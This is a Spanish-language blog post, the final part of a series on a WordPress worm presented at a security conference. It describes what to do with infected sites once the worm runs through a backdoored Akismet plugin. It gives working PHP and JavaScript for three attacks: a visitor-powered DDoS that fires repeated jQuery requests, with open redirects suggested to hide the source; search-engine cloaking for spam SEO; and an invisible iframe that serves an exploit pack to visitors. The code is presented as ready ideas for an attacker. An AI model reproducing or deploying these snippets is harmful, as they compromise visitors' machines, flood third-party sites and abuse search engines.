domingo, 12 de octubre de 2014

The Waking WordPress [V]: ¿y ahora qué?

¡Saludos!

   Llegamos al último capítulo de esta serie. Una vez que el worm está funcionando, infectando nuevos sitios, queda preguntarnos ¿y para qué puedo usarlo?. Usos hay infinitos, tantos como ideas se te puedan pasar por la cabeza. La más obvia es utilizar el worm a modo de webshell - o lo usamos para dropear una- y realizar una post-explotación clásica, o realizar un dumpeo de la DB (tenemos todos los credenciales, es algo trivial). Otra opción es atacar / utilizar los visitantes que entran en los WordPress infectados. Algunas ideas para ejecutar desde el akismet backdoorizado:

DDoS usando los visitantes

    El concepto es viejo. Se trata de usar jQuery para que lo usuarios mientras visitan la web manden numerosas peticiones HTTP contra un recurso pesado localizado en la web que se desea dosear. Usando algún hook (wp_footer, por ejemplo) podemos incluir el script encargado de las peticiones

wp_enqueue_script("jquery");
function DDoS_jq() { $url = get_option("wp_ddos_jq"); if ($url != "") { echo "<script>    ddos('".$url."');function ddos(url){            window.setInterval(function (){                jQuery.getScript(url);                        },100)        }</script>";}}

    De esta forma conseguimos que cada visitante mande 10 peticiones por segundo. Si tenemos 10 zombies, y cada zombie unos 100 visitantes, estaremos mandando 10.000 request /s . Para hacerlo más interesante podemos escalar un paso más y tratar de anonimizar el origen real de donde se está produciendo el ataque usando para ello webs con open redirections que nos permitan usarlas a modo de proxy.

   Existe un proyecto llamado UFONet ( http://ufonet.sourceforge.net/ ) que, entre otras cosas, nos permite generar un listado de URLs que poseen estas características. Lo ideal sería usar URLs a la azar de esa lista para lanzar las peticiones HTTP.


Black SEO

   Este es el truco más viejo probablemente que nos encontramos en los WordPress vulnerados, el clásico "pharma hack" y derivados. Es tan simple como comprobar el User-Agent del visitante, y si se trata de un spider de algún buscador importante, mostrarle el texto que tengamos preparado para hacer black seo:

function black_seo() { $bots = array("Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Googlebot-News", "Googlebot-Image/1.0", "Googlebot-Video/1.0", "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", "Mozilla/5.0 (seoanalyzer; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) SitemapProbe"); foreach ($bots as $bot) { if ($_SERVER['HTTP_USER_AGENT'] == $bot) { echo get_option("wp_seo_worm"); } }}


Distribución de malware entre los visitantes

    Podemos mostrarles a los visitantes un iframe invisible hacia un exploit pack preparado:

function expack() { $url = get_option("wp_ex_pack"); echo '<iframe scrolling="no" height="0" frameborder="0" src="'.$url.'" style="position:fixed; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:0"></iframe>';

   Si tenemos un exploit para un determiando navegador/SO podemos filtrar para que (igual que hicimos en el black seo) se muestre el iframe sólo a visitantes potencialmente vulnerables.


---------------------------------------------------------------------------------------- 

  Tal y como dije arriba estos son sólo algunos ejemplos pensados rápidamente. 

  Con esto pongo punto y final a este serie. Espero haber podido explicar en qué consistía mi ponencia en el Navaja Negra, tanto para aquellos que no pudieron asistir como para los que asistieron y no se enteraron (hay que ser honestos, no valgo para orador). 


Espero retomar esta semana  el proyecto Architeuthis (el de la raspberry pi) con algunas de las ideas que me dieron varias personas durante el congreso. Si saco tiempo, publicaré por aquí resultados.


Byt3z!
5 0verl0ad Labs: The Waking WordPress [V]: ¿y ahora qué? ¡Saludos!    Llegamos al último capítulo de esta serie. Una vez que el worm está funcionando, infectando nuevos sitios, queda preguntarnos...
< >